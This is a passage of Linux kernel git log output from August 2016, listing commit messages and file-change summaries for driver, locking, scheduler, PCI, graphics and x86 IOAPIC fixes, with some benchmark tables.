16 22:31:57 2016 +0100 greybus: power_supply: invalidate cache at update request When we receive a update request we shall not trust the cache mechanism and for that we need a way to invalidate the cache. Add a field that will control the cache status and refactor the code to check if cache is valid in a helper function. This will fix the scenario where an update request is received within the cache expiration time after a previous update as happened and would be ignored. Signed-off-by: Rui Miguel Silva Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/power_supply.c | 31 ++++++++++++++++++++++++++----- 1 file changed, 26 insertions(+), 5 deletions(-) commit 5f66d62e8372d8a9c97bd75d772a5a5788925218 Author: Rui Miguel Silva Date: Tue Aug 16 22:31:56 2016 +0100 greybus: power_supply: fix update interval check at request handler We use the update interval to control the remove path and we set it to zero when we do not want to have more updates in transit. That means that the check in the request handler needs to be for interval update zero to discard the newly received request and not the other way around like it is. This will fix the issue that all incoming requests were being discard. Signed-off-by: Rui Miguel Silva Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/power_supply.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit c4582f9d7969019dc67234e96340e21dd3712c46 Author: Rui Miguel Silva Date: Tue Aug 16 22:31:55 2016 +0100 greybus: power_supply: add callback to handle power supply changes When checking for property changes we may need to act upon that change besides reporting it using power_supply_changed. So, add a function that will be call if the specific property changed. As at it, adjust some indentation of the psy_props_changes array. Signed-off-by: Rui Miguel Silva Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/power_supply.c | 28 ++++++++++++++++++++-------- 1 file changed, 20 insertions(+), 8 deletions(-) commit 6198f892fafbb3e5875c8a410eb2229a9cbac6ca Author: Vaibhav Agarwal Date: Tue Aug 16 12:36:51 2016 +0530 greybus: Use valid control pointer while freeing memory While releasing memory during error path exit, invalid memory pointer was used for dapm_routes. Use a valid one. Signed-off-by: Vaibhav Agarwal Reviewed-by: Mark Greer Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio_topology.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 15c726ea5218b4e40d2331bd8b25b85848f73c42 Author: Vaibhav Agarwal Date: Tue Aug 16 12:36:50 2016 +0530 greybus: audio: Add check for invalid index while mapping control While mapping control id to define DAPM routes, invalid control index may cause kernel oops. Add extra check to validate index while mapping names to control_id. Signed-off-by: Vaibhav Agarwal Reviewed-by: Mark Greer Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio_codec.h | 1 + drivers/staging/greybus/audio_topology.c | 6 ++++++ 2 files changed, 7 insertions(+) commit a75c03126f93713e121ea90fbaa2eaf55063c236 Author: Christian Gromm Date: Thu Aug 18 15:28:27 2016 +0200 staging: most: aim-network: fix interrupt unsafe spinlocks The networking AIM does not use the *_irqsave and *_irqrestore flavored spinlock functions. The rx_completion callback, however, can be called from an interrupt context. This patch is needed to fix this problem. Signed-off-by: Andrey Shvetsov Signed-off-by: Christian Gromm Signed-off-by: Greg Kroah-Hartman drivers/staging/most/aim-network/networking.c | 26 +++++++++++++++----------- 1 file changed, 15 insertions(+), 11 deletions(-) commit 4485842493fe5efca436b7a0fa1f1f34c286f77f Author: Ben LeMasurier Date: Tue Aug 16 11:01:44 2016 -0600 Staging: android: ion: ion_test.c: fix parenthesis alignment This fixes the checkpatch.pl "Alignment should match open parenthesis" issues in ion_test.c. Signed-off-by: Ben LeMasurier Signed-off-by: Greg Kroah-Hartman drivers/staging/android/ion/ion_test.c | 23 +++++++++++++---------- 1 file changed, 13 insertions(+), 10 deletions(-) commit 33a5956c2c8db6a7e44332838c3c4113d8bce1f2 Author: Ben LeMasurier Date: Tue Aug 16 21:02:00 2016 -0600 Staging: android: ion: ion_heap.c: fix parenthesis alignment This fixes the checkpatch.pl "Alignment should match open parenthesis" issues in ion_heap.c. Signed-off-by: Ben LeMasurier Signed-off-by: Greg Kroah-Hartman drivers/staging/android/ion/ion_heap.c | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) commit 95a31ef173e7cad94e5cb381d7893f92cee788a1 Author: Christian Gromm Date: Thu Aug 18 16:58:47 2016 +0200 staging: most: dim2-hdm: introduce function dim2_transfer_madr This patch removes duplicated code by putting it into the new function dim2_transfer_madr. Signed-off-by: Andrey Shvetsov Signed-off-by: Christian Gromm Signed-off-by: Greg Kroah-Hartman drivers/staging/most/hdm-dim2/dim2_hal.c | 38 +++++++++++++------------------- 1 file changed, 15 insertions(+), 23 deletions(-) commit 9fe7aeaca7ffec24a821c493b272614bd153b9aa Author: Christian Gromm Date: Thu Aug 18 16:58:46 2016 +0200 staging: most: dim2-hdm: initialize DBR memory of synchronous channels In the time after a synchronous DIM2 channel is enabled and before the first buffer travels this channel, the DIM2 macro is babbling random random data to the network. This patch initializes the internal DBR memory of the DIM2 that is used to transfer the synchronous data. Signed-off-by: Andrey Shvetsov Signed-off-by: Christian Gromm Signed-off-by: Greg Kroah-Hartman drivers/staging/most/hdm-dim2/dim2_hal.c | 22 ++++++++++++++++++++++ 1 file changed, 22 insertions(+) commit 1c185c02f454c47d573a17e3e7d8befb06f0d64d Author: Andreas Gruenbacher Date: Thu Aug 18 08:57:04 2016 -0500 gfs2: Remove dirty buffer warning from gfs2_releasepage Unlike what its documentation suggests, the releasepage address space operation can currently be called on dirty pages via shrink_active_list. This may eventually be changed when the remaining code relying on the current behavior has been fixed, but until then, it makes no sense to warn on dirty buffers in gfs2_releasepage. Signed-off-by: Andreas Gruenbacher Signed-off-by: Bob Peterson fs/gfs2/aops.c | 17 ++++++++++++----- 1 file changed, 12 insertions(+), 5 deletions(-) commit 70800c3c0cc525baa38fd0fe4660f2c27f1bfeeb Author: Davidlohr Bueso Date: Fri Aug 5 01:04:45 2016 -0700 locking/rwsem: Scan the wait_list for readers only once When wanting to wakeup readers, __rwsem_mark_wakeup() currently iterates the wait_list twice while looking to wakeup the first N queued reader-tasks. While this can be quite inefficient, it was there such that a awoken reader would be first and foremost acknowledged by the lock counter. Keeping the same logic, we can further benefit from the use of wake_qs and avoid entirely the first wait_list iteration that sets the counter as wake_up_process() isn't going to occur right away, and therefore we maintain the counter->list order of going about things. Other than saving cycles with O(n) "scanning", this change also nicely cleans up a good chunk of __rwsem_mark_wakeup(); both visually and less tedious to read. For example, the following improvements where seen on some will it scale microbenchmarks, on a 48-core Haswell: v4.7 v4.7-rwsem-v1 Hmean signal1-processes-8 5792691.42 ( 0.00%) 5771971.04 ( -0.36%) Hmean signal1-processes-12 6081199.96 ( 0.00%) 6072174.38 ( -0.15%) Hmean signal1-processes-21 3071137.71 ( 0.00%) 3041336.72 ( -0.97%) Hmean signal1-processes-48 3712039.98 ( 0.00%) 3708113.59 ( -0.11%) Hmean signal1-processes-79 4464573.45 ( 0.00%) 4682798.66 ( 4.89%) Hmean signal1-processes-110 4486842.01 ( 0.00%) 4633781.71 ( 3.27%) Hmean signal1-processes-141 4611816.83 ( 0.00%) 4692725.38 ( 1.75%) Hmean signal1-processes-172 4638157.05 ( 0.00%) 4714387.86 ( 1.64%) Hmean signal1-processes-203 4465077.80 ( 0.00%) 4690348.07 ( 5.05%) Hmean signal1-processes-224 4410433.74 ( 0.00%) 4687534.43 ( 6.28%) Stddev signal1-processes-8 6360.47 ( 0.00%) 8455.31 ( 32.94%) Stddev signal1-processes-12 4004.98 ( 0.00%) 9156.13 (128.62%) Stddev signal1-processes-21 3273.14 ( 0.00%) 5016.80 ( 53.27%) Stddev signal1-processes-48 28420.25 ( 0.00%) 26576.22 ( -6.49%) Stddev signal1-processes-79 22038.34 ( 0.00%) 18992.70 (-13.82%) Stddev signal1-processes-110 23226.93 ( 0.00%) 17245.79 (-25.75%) Stddev signal1-processes-141 6358.98 ( 0.00%) 7636.14 ( 20.08%) Stddev signal1-processes-172 9523.70 ( 0.00%) 4824.75 (-49.34%) Stddev signal1-processes-203 13915.33 ( 0.00%) 9326.33 (-32.98%) Stddev signal1-processes-224 15573.94 ( 0.00%) 10613.82 (-31.85%) Other runs that saw improvements include context_switch and pipe; and as expected, this is particularly highlighted on larger thread counts as it becomes more expensive to walk the list twice. No change in wakeup ordering or semantics. Signed-off-by: Davidlohr Bueso Signed-off-by: Peter Zijlstra (Intel) Cc: Andrew Morton Cc: Linus Torvalds Cc: Paul E. McKenney Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: Waiman.Long@hp.com Cc: dave@stgolabs.net Cc: jason.low2@hpe.com Cc: wanpeng.li@hotmail.com Link: http://lkml.kernel.org/r/1470384285-32163-4-git-send-email-dave@stgolabs.net Signed-off-by: Ingo Molnar kernel/locking/rwsem-xadd.c | 58 ++++++++++++++++++++------------------------- 1 file changed, 26 insertions(+), 32 deletions(-) commit c2867bbaf5d8f1534cae15175a389c5cbf58fec1 Author: Davidlohr Bueso Date: Fri Aug 5 01:04:44 2016 -0700 locking/rwsem: Remove a few useless comments Our rwsem code (xadd, at least) is rather well documented, but there are a few really annoying comments in there that serve no purpose and we shouldn't bother with them. Signed-off-by: Davidlohr Bueso Signed-off-by: Peter Zijlstra (Intel) Cc: Andrew Morton Cc: Linus Torvalds Cc: Paul E. McKenney Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: Waiman.Long@hp.com Cc: dave@stgolabs.net Cc: jason.low2@hpe.com Cc: wanpeng.li@hotmail.com Link: http://lkml.kernel.org/r/1470384285-32163-3-git-send-email-dave@stgolabs.net Signed-off-by: Ingo Molnar kernel/locking/rwsem-xadd.c | 3 --- 1 file changed, 3 deletions(-) commit 84b23f9b58687a11ced66cc4be9b0219e8ecab84 Author: Davidlohr Bueso Date: Fri Aug 5 01:04:43 2016 -0700 locking/rwsem: Return void in __rwsem_mark_wake() We currently return a rw_semaphore structure, which is the same lock we passed to the function's argument in the first place. While there are several functions that choose this return value, the callers use it, for example, for things like ERR_PTR. This is not the case for __rwsem_mark_wake(), and in addition this function is really about the lock waiters (which we know there are at this point), so its somewhat odd to be returning the sem structure. Signed-off-by: Davidlohr Bueso Signed-off-by: Peter Zijlstra (Intel) Cc: Andrew Morton Cc: Linus Torvalds Cc: Paul E. McKenney Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: Waiman.Long@hp.com Cc: dave@stgolabs.net Cc: jason.low2@hpe.com Cc: wanpeng.li@hotmail.com Link: http://lkml.kernel.org/r/1470384285-32163-2-git-send-email-dave@stgolabs.net Signed-off-by: Ingo Molnar kernel/locking/rwsem-xadd.c | 35 +++++++++++++++++------------------ 1 file changed, 17 insertions(+), 18 deletions(-) commit 3942a9bd7b5842a924e99ee6ec1350b8006c94ec Author: Peter Zijlstra Date: Thu Aug 11 18:54:13 2016 +0200 locking, rcu, cgroup: Avoid synchronize_sched() in __cgroup_procs_write() The current percpu-rwsem read side is entirely free of serializing insns at the cost of having a synchronize_sched() in the write path. The latency of the synchronize_sched() is too high for cgroups. The commit 1ed1328792ff talks about the write path being a fairly cold path but this is not the case for Android which moves task to the foreground cgroup and back around binder IPC calls from foreground processes to background processes, so it is significantly hotter than human initiated operations. Switch cgroup_threadgroup_rwsem into the slow mode for now to avoid the problem, hopefully it should not be that slow after another commit: 80127a39681b ("locking/percpu-rwsem: Optimize readers and reduce global impact"). We could just add rcu_sync_enter() into cgroup_init() but we do not want another synchronize_sched() at boot time, so this patch adds the new helper which doesn't block but currently can only be called before the first use. Reported-by: John Stultz Reported-by: Dmitry Shmidt Signed-off-by: Peter Zijlstra (Intel) Signed-off-by: Oleg Nesterov Signed-off-by: Peter Zijlstra (Intel) Cc: Andrew Morton Cc: Colin Cross Cc: Linus Torvalds Cc: Paul E. McKenney Cc: Peter Zijlstra Cc: Rom Lemarchand Cc: Tejun Heo Cc: Thomas Gleixner Cc: Todd Kjos Link: http://lkml.kernel.org/r/20160811165413.GA22807@redhat.com Signed-off-by: Ingo Molnar include/linux/rcu_sync.h | 1 + kernel/cgroup.c | 6 ++++++ kernel/rcu/sync.c | 12 ++++++++++++ 3 files changed, 19 insertions(+) commit 3625de0fef696b8220f3d452156fecc2295831d4 Author: Randy Li Date: Thu Aug 18 01:03:10 2016 +0800 ARM: dts: rockchip: remove excess sd properties from firefly reload Because of a bug in hardware design, the sdcard at firefly rk3288 reload board can't switch the io voltage level to 1.8v. Signed-off-by: Randy Li Signed-off-by: Heiko Stuebner arch/arm/boot/dts/rk3288-firefly-reload.dts | 5 ----- 1 file changed, 5 deletions(-) commit 01c076732e8288485c22ef50f20949455a783ca9 Author: Jisheng Zhang Date: Wed Aug 17 15:57:37 2016 -0500 PCI: designware: Check LTSSM training bit before deciding link is up The link may be up but still in link training. In this case, we can't think the link is up and operating correctly. Teach dw_pcie_link_up() to be aware of the PCIE_PHY_DEBUG_R1_LINK_IN_TRAINING bit. Also rewrite PCIE_PHY_DEBUG_R1_LINK_UP definition so that it's consistent with other macros. Signed-off-by: Jisheng Zhang Signed-off-by: Bjorn Helgaas Acked-by: Joao Pinto drivers/pci/host/pcie-designware.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) commit 43aa7e87507f519b0b2497b6fac1e894554eaef2 Author: Matt Roper Date: Fri Jun 17 13:42:20 2016 -0700 drm/i915/gen9: Drop invalid WARN() during data rate calculation It's possible to have a non-zero plane mask and still wind up with a total data rate of zero. There are two cases where this can happen: * planes are active (from the KMS point of view), but are all fully clipped (positioned offscreen) * the only active plane on a CRTC is the cursor (which is handled independently and not counted into the general data rate computations These are both valid display setups (although unusual), so we need to drop the WARN(). Signed-off-by: Matt Roper Reviewed-by: Maarten Lankhorst Testcase: kms_universal_planes.cursor-only-pipe-* Signed-off-by: Maarten Lankhorst Link: http://patchwork.freedesktop.org/patch/msgid/1466196140-16336-4-git-send-email-matthew.d.roper@intel.com Cc: stable@vger.kernel.org #v4.7+ drivers/gpu/drm/i915/intel_pm.c | 2 -- 1 file changed, 2 deletions(-) commit 1b54a880b250acc226b13cea221b90aa1b3e37dd Author: Matt Roper Date: Fri Jun 17 13:42:18 2016 -0700 drm/i915/gen9: Initialize intel_state->active_crtcs during WM sanitization (v2) intel_state->active_crtcs is usually only initialized when doing a modeset. During our first atomic commit after boot, we're effectively faking a modeset to sanitize the DDB/wm setup, so ensure that this field gets initialized before use. v2: - Don't clobber active_crtcs if our first commit really is a modeset (Maarten) - Grab connection_mutex when faking a modeset during sanitization (Maarten) Reported-by: Tvrtko Ursulin Cc: Tvrtko Ursulin Cc: Maarten Lankhorst Signed-off-by: Matt Roper Tested-by: Tvrtko Ursulin Signed-off-by: Maarten Lankhorst Link: http://patchwork.freedesktop.org/patch/msgid/1466196140-16336-2-git-send-email-matthew.d.roper@intel.com Cc: stable@vger.kernel.org #v4.7+ drivers/gpu/drm/i915/intel_pm.c | 17 ++++++++++++++++- 1 file changed, 16 insertions(+), 1 deletion(-) commit 0900845ab741dd7b0b8b3f03ded0ffc6a348dd90 Author: Ann Chen Date: Wed Aug 17 16:38:56 2016 +0800 greybus: Add workqueue to handle vibrator timeout In the beginning, module side can control the vibrator timeout value, it can disable vibrator until timeout. But after Runtime PM control added in, AP side didn't know when module can be suspended, the vibrator task will be interrupted by suspending event. Because of this problem, the module can not be in charge of counting down the timeout value, it is now up to the AP to manage this. So add workqueue to handle the vibrator timeout. Signed-off-by: Ann Chen Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/vibrator.c | 47 ++++++++++++++++++++++++-------------- 1 file changed, 30 insertions(+), 17 deletions(-) commit 02a595d5d6e4ecc0564ec31afb76202035a7591c Author: Heiner Kallweit Date: Wed Aug 17 21:11:01 2016 +0200 spi: fsl-espi: eliminate spi nor flash read loop The fsl-espi driver contains a read loop that implicitely assumes that the device to read from is a m25p80 SPI NOR flash (bytes 2 - 4 of the first write transfer are interpreted as 3 byte flash address). Now that we have such a read loop in the spi-nor driver and are able to correctly indicate the message size limit of the controller, the read loop can be removed from the fsl-espi driver. Signed-off-by: Heiner Kallweit Signed-off-by: Mark Brown drivers/spi/spi-fsl-espi.c | 91 +++++++++++----------------------------------- 1 file changed, 21 insertions(+), 70 deletions(-) commit 5090cc6ae2f79ee779e5faf7c8a28edf42b7d738 Author: Heiner Kallweit Date: Wed Aug 17 21:08:01 2016 +0200 spi: introduce max_message_size hook in spi_master Recently a maximum transfer size was was introduced in struct spi_master. However there are also spi controllers with a maximum message size, e.g. fsl-espi has a max message size of 64KB. Introduce a hook max_message_size to deal with such limitations. Also make sure that spi_max_transfer_size doesn't return greater values than spi_max_message_size, even if hook max_transfer_size is not set. Signed-off-by: Heiner Kallweit Signed-off-by: Mark Brown include/linux/spi/spi.h | 25 +++++++++++++++++++++---- 1 file changed, 21 insertions(+), 4 deletions(-) commit b6a32f023fcc9cbd1602f78a467fd8d41bbc9457 Author: Jiri Olsa Date: Thu Aug 18 11:09:52 2016 +0200 perf/x86: Fix PEBS threshold initialization Latest PEBS rework change could skip initialization of the ds->pebs_interrupt_threshold for single event PEBS threshold events. Make sure the PEBS threshold gets always initialized. Signed-off-by: Jiri Olsa Cc: Alexander Shishkin Cc: Arnaldo Carvalho de Melo Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Peter Zijlstra Cc: Thomas Gleixner Fixes: 09e61b4f7849 ("perf/x86/intel: Rework the large PEBS setup code") Link: http://lkml.kernel.org/r/1471511392-29875-1-git-send-email-jolsa@kernel.org Signed-off-by: Ingo Molnar arch/x86/events/intel/ds.c | 12 +++++++++++- 1 file changed, 11 insertions(+), 1 deletion(-) commit a1eb1411b4e4251db02179e39d234c2ee5192c72 Author: Stanislaw Gruszka Date: Wed Aug 17 11:30:44 2016 +0200 sched/cputime: Improve scalability by not accounting thread group tasks pending runtime Commit: d670ec13178d0 ("posix-cpu-timers: Cure SMP wobbles") started accounting thread group tasks pending runtime in thread_group_cputime(). Another commit: 6e998916dfe32 ("sched/cputime: Fix clock_nanosleep()/clock_gettime() inconsistency") updated scheduler runtime statistics (call update_curr()) when reading task pending runtime. Those changes cause bad performance of SYS_times() and SYS_clock_gettimes(CLOCK_PROCESS_CPUTIME_ID) syscalls, especially on larger systems with many CPUs. While we would like to have cpuclock monotonicity kept i.e. have problems fixed by above commits stay fixed, we also would like to have good performance. However when we notice that change from commit d670ec13178d0 is not longer needed to solve problem addressed by that commit, because of change from the second commit 6e998916dfe32, we can get room for optimization. Since we update task while reading it's pending runtime in task_sched_runtime(), clock_gettime(CLOCK_PROCESS_CPUTIME_ID) will see updated values and on testcase from d670ec13178d0 process cpuclock will not be smaller than thread cpuclock. I tested the patch on testcases from commits d670ec13178d0, 6e998916dfe32 and some other cpuclock/cputimers testcases and did not found cpuclock monotonicity problems or other malfunction. This patch has the drawback that we will not provide thread group cputime up-to-date to the last moment. For example when arming cputime timer, we will arm it with possibly a bit outdated values and that timer will trigger earlier compared to behaviour without the patch. However that was the behaviour before d670ec13178d0 commit (kernel v3.1) so it's unlikely to affect applications. Patch improves related syscall performance, as measured by Giovanni's benchmarks described in commit: 6075620b0590e ("sched/cputime: Mitigate performance regression in times()/clock_gettime()") The benchmark results are: SYS_clock_gettime(): threads 4.7-rc7 3.18-rc3 4.7-rc7 + prefetch 4.7-rc7 + patch (pre-6e998916dfe3) 2 3.48 2.23 ( 35.68%) 3.06 ( 11.83%) 1.08 ( 68.81%) 5 3.33 2.83 ( 14.84%) 3.25 ( 2.40%) 0.71 ( 78.55%) 8 3.37 2.84 ( 15.80%) 3.26 ( 3.30%) 0.56 ( 83.49%) 12 3.32 3.09 ( 6.69%) 3.37 ( -1.60%) 0.42 ( 87.28%) 21 4.01 3.14 ( 21.70%) 3.90 ( 2.74%) 0.35 ( 91.35%) 30 3.63 3.28 ( 9.75%) 3.36 ( 7.41%) 0.28 ( 92.23%) 48 3.71 3.02 ( 18.69%) 3.11 ( 16.27%) 0.39 ( 89.39%) 79 3.75 2.88 ( 23.23%) 3.16 ( 15.74%) 0.46 ( 87.76%) 110 3.81 2.95 ( 22.62%) 3.25 ( 14.80%) 0.56 ( 85.41%) 128 3.88 3.05 ( 21.28%) 3.31 ( 14.76%) 0.62 ( 84.10%) SYS_times(): threads 4.7-rc7 3.18-rc3 4.7-rc7 + prefetch 4.7-rc7 + patch (pre-6e998916dfe3) 2 3.65 2.27 ( 37.94%) 3.25 ( 11.03%) 1.62 ( 55.71%) 5 3.45 2.78 ( 19.34%) 3.17 ( 7.92%) 2.33 ( 32.28%) 8 3.52 2.79 ( 20.66%) 3.22 ( 8.69%) 2.06 ( 41.44%) 12 3.29 3.02 ( 8.33%) 3.36 ( -2.04%) 2.00 ( 39.18%) 21 4.07 3.10 ( 23.86%) 3.92 ( 3.78%) 2.07 ( 49.18%) 30 3.87 3.33 ( 13.80%) 3.40 ( 12.17%) 1.89 ( 51.12%) 48 3.79 2.96 ( 21.94%) 3.16 ( 16.61%) 1.69 ( 55.46%) 79 3.88 2.88 ( 25.82%) 3.28 ( 15.42%) 1.60 ( 58.81%) 110 3.90 2.98 ( 23.73%) 3.38 ( 13.35%) 1.73 ( 55.61%) 128 4.00 3.10 ( 22.40%) 3.38 ( 15.45%) 1.66 ( 58.52%) Reported-and-tested-by: Giovanni Gherdovich Signed-off-by: Stanislaw Gruszka Cc: Linus Torvalds Cc: Mel Gorman Cc: Mike Galbraith Cc: Paolo Bonzini Cc: Peter Zijlstra Cc: Rik van Riel Cc: Thomas Gleixner Cc: Wanpeng Li Link: http://lkml.kernel.org/r/20160817093043.GA25206@redhat.com Signed-off-by: Ingo Molnar kernel/sched/cputime.c | 33 ++++++++++++++++++++++++++++++++- 1 file changed, 32 insertions(+), 1 deletion(-) commit 624cad9d2907a0788b56e3ca664c5d7d02645ed4 Author: Rui Wang Date: Wed Aug 17 16:00:37 2016 +0800 x86/ioapic: Fix IOAPIC failing to request resource handle_ioapic_add() uses request_resource() to request ACPI "_CRS" resources. This can fail with the following error message: [ 247.325693] ACPI: \_SB_.IIO1.AID1: failed to insert resource This happens when there are multiple IOAPICs and DSDT groups their "_CRS" resources as the children of a parent resource, as seen from /proc/iomem: fec00000-fecfffff : PNP0003:00 fec00000-fec003ff : IOAPIC 0 fec01000-fec013ff : IOAPIC 1 fec40000-fec403ff : IOAPIC 2 In this case request_resource() fails because there's a conflicting resource which is the parent (fec0000-fecfffff). Fix it by using insert_resource() which can request resources by taking the conflicting resource as the parent. Signed-off-by: Rui Wang Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: bhelgaas@google.com Cc: helgaas@kernel.org Cc: linux-acpi@vger.kernel.org Cc: linux-pci@vger.kernel.org Cc: rjw@rjwysocki.net Cc: tony.luck@intel.com Link: http://lkml.kernel.org/r/1471420837-31003-6-git-send-email-rui.y.wang@intel.com Signed-off-by: Ingo Molnar drivers/acpi/ioapic.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit 162b83bd5f1d7124e21da78bcf2685b9824d9ef0 Author: Rui Wang Date: Wed Aug 17 16:00:36 2016 +0800 x86/ioapic: Fix lost IOAPIC resource after hot-removal and hotadd IOAPIC resource at 0xfecxxxxx gets lost from /proc/iomem after hot-removing and then hot-adding the IOAPIC device. After system boot, in /proc/iomem: fec00000-fecfffff : PNP0003:00 fec00000-fec003ff : IOAPIC 0 fec01000-fec013ff : IOAPIC 1 fec40000-fec403ff : IOAPIC 2 fec80000-fec803ff : IOAPIC 3 fecc0000-fecc03ff : IOAPIC 4 Then hot-remove IOAPIC 2 and hot-add it again: fec00000-fecfffff : PNP0003:00 fec00000-fec003ff : IOAPIC 0 fec01000-fec013ff : IOAPIC 1 fec80000-fec803ff : IOAPIC 3 fecc0000-fecc03ff : IOAPIC 4 The range at 0xfec40000 is lost from /proc/iomem - which is a bug. This bug happens because handle_ioapic_add() requests resources from either PCI config BAR or ACPI "_CRS", not both. But Intel platforms map the IOxAPIC registers both at the PCI config BAR (called MBAR, dynamic), and at the ACPI "_CRS" (called ABAR, static). The 0xfecX_YZ00 to 0xfecX_YZFF range appears in "_CRS" of each IOAPIC device. Both ranges should be claimed from /proc/iomem for exclusive use. Signed-off-by: Rui Wang Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: bhelgaas@google.com Cc: helgaas@kernel.org Cc: linux-acpi@vger.kernel.org Cc: linux-pci@vger.kernel.org Cc: rjw@rjwysocki.net Cc: tony.luck@intel.com Link: http://lkml.kernel.org/r/1471420837-31003-5-git-send-email-rui.y.wang@intel.com Signed-off-by: Ingo Molnar drivers/acpi/ioapic.c | 36 ++++++++++++++++++++---------------- 1 file changed, 20 insertions(+), 16 deletions(-) commit 6ab7eba5db93c11d61f6f7fbe21edbc875b26c1a Author: Rui Wang Date: Wed Aug 17 16:00:35 2016 +0800 x86/ioapic: Fix setup_res() failing to get resource acpi_dev_filter_resource_type() returns 0 on success, and 1 on failure. A return value of zero means there's a matching resource, so we should continue within setup_res() to get the resource. Signed-off-by: Rui Wang Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: bhelgaas@google.com Cc: helgaas@kernel.org Cc: linux-acpi@vger.kernel.org Cc: linux-pci@vger.kernel.org Cc: rjw@rjwysocki.net Cc: tony.luck@intel.com Link: http://lkml.kernel.org/r/1471420837-31003-4-git-send-email-rui.y.wang@intel.com Signed-off-by: Ingo Molnar drivers/acpi/ioapic.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 584c5c422f6c749ced1e0bc3c6837f650f64e1e1 Author: Rui Wang Date: Wed Aug 17 16:00:34 2016 +0800 x86/ioapic: Support hot-removal of IOAPICs present during boot IOAPICs present during system boot aren't added to ioapic_list, thus are unable to be hot-removed. Fix it by calling acpi_ioapic_add() during root bus enumeration. Signed-off-by: Rui Wang Acked-by: Bjorn Helgaas Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: helgaas@kernel.org Cc: linux-acpi@vger.kernel.org Cc: linux-pci@vger.kernel.org Cc: rjw@rjwysocki.net Cc: tony.luck@intel.com Link: http://lkml.kernel.org/r/1471420837-31003-3-git-send-email-rui.y.wang@intel.com Signed-off-by: Ingo Molnar drivers/acpi/pci_root.c | 10 ++++++++++ drivers/pci/setup-bus.c | 5 ++++- 2 files changed, 14 insertions(+), 1 deletion(-) commit fe7bd58f5d25d5d655b1da4a084cc4ef6f085fee Author: Rui Wang Date: Wed Aug 17 16:00:33 2016 +0800 x86/ioapic: Change prototype of acpi_ioapic_add() Change the argument of acpi_ioapic_add() to a generic ACPI handle, and move its prototype from drivers/acpi/internal.h to include/linux/acpi.h so that it can be called from outside the pci_root driver. Signed-off-by: Rui Wang Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: bhelgaas@google.com Cc: helgaas@kernel.org Cc: linux-acpi@vger.kernel.org Cc: linux-pci@vger.kernel.org Cc: rjw@rjwysocki.net Cc: tony.luck@intel.com Link: http://lkml.kernel.org/r/1471420837-31003-2-git-send-email-rui.y.wang@intel.com Signed-off-by: Ingo Molnar drivers/acpi/internal.h | 2 -- drivers/acpi/ioapic.c | 6 +++--- drivers/acpi/pci_root.c | 2 +- include/linux/acpi.h | 6 ++++++ 4 files changed, 10 insertions(+), 6 deletions(-) commit 3273163c6775c4c21823985304c2364b08ca6ea2 Author: Morten Rasmussen Date: Mon Jul 25 14:34:26 2016 +0100 sched/fair: Let asymmetric CPU configurations balance at wake-up Currently, SD_WAKE_AFFINE always takes priority over wakeup balancing if SD_BALANCE_WAKE is set on the sched_domains. For asymmetric configurations SD_WAKE_AFFINE is only desirable if the waking task's compute demand (utilization) is suitable for the waking CPU and the previous CPU, and all CPUs within their respective SD_SHARE_PKG_RESOURCES domains (sd_llc). If not, let wakeup balancing take over (find_idlest_{group, cpu}()). This patch makes affine wake-ups conditional on whether both the waker CPU and the previous CPU has sufficient capacity for the waking task, or not, assuming that the CPU capacities within an SD_SHARE_PKG_RESOURCES domain (sd_llc) are homogeneous. Signed-off-by: Morten Rasmussen Signed-off-by: Peter Zijlstra (Intel) Acked-by: Vincent Guittot Cc: Linus Torvalds Cc: Mike Galbraith Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: dietmar.eggemann@arm.com Cc: freedom.tan@mediatek.com Cc: keita.kobayashi.ym@renesas.com Cc: mgalbraith@suse.de Cc: sgurrappadi@nvidia.com Cc: yuyang.du@intel.com Link: http://lkml.kernel.org/r/1469453670-2660-10-git-send-email-morten.rasmussen@arm.com Signed-off-by: Ingo Molnar kernel/sched/fair.c | 35 ++++++++++++++++++++++++++++++++++- 1 file changed, 34 insertions(+), 1 deletion(-) commit cd92bfd3b8cb0ec2ee825e55a3aee704cd55aea9 Author: Dietmar Eggemann Date: Mon Aug 1 19:53:35 2016 +0100 sched/core: Store maximum per-CPU capacity in root domain To be able to compare the capacity of the target CPU with the highest available CPU capacity, store the maximum per-CPU capacity in the root domain. The max per-CPU capacity should be 1024 for all systems except SMT, where the capacity is currently based on smt_gain and the number of hardware threads and is <1024. If SMT can be brought to work with a per-thread capacity of 1024, this patch can be dropped and replaced by a hard-coded max capacity of 1024 (=SCHED_CAPACITY_SCALE). Signed-off-by: Dietmar Eggemann Signed-off-by: Morten Rasmussen Signed-off-by: Peter Zijlstra (Intel) Cc: Linus Torvalds Cc: Mike Galbraith Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: freedom.tan@mediatek.com Cc: keita.kobayashi.ym@renesas.com Cc: mgalbraith@suse.de Cc: sgurrappadi@nvidia.com Cc: vincent.guittot@linaro.org Cc: yuyang.du@intel.com Link: http://lkml.kernel.org/r/26c69258-9947-f830-a53e-0c54e7750646@arm.com Signed-off-by: Ingo Molnar kernel/sched/core.c | 12 ++++++++++++ kernel/sched/sched.h | 2 ++ 2 files changed, 14 insertions(+) commit 9ee1cda5ee25c7dd82acf25892e0d229e818f8c7 Author: Morten Rasmussen Date: Mon Jul 25 14:34:24 2016 +0100 sched/core: Enable SD_BALANCE_WAKE 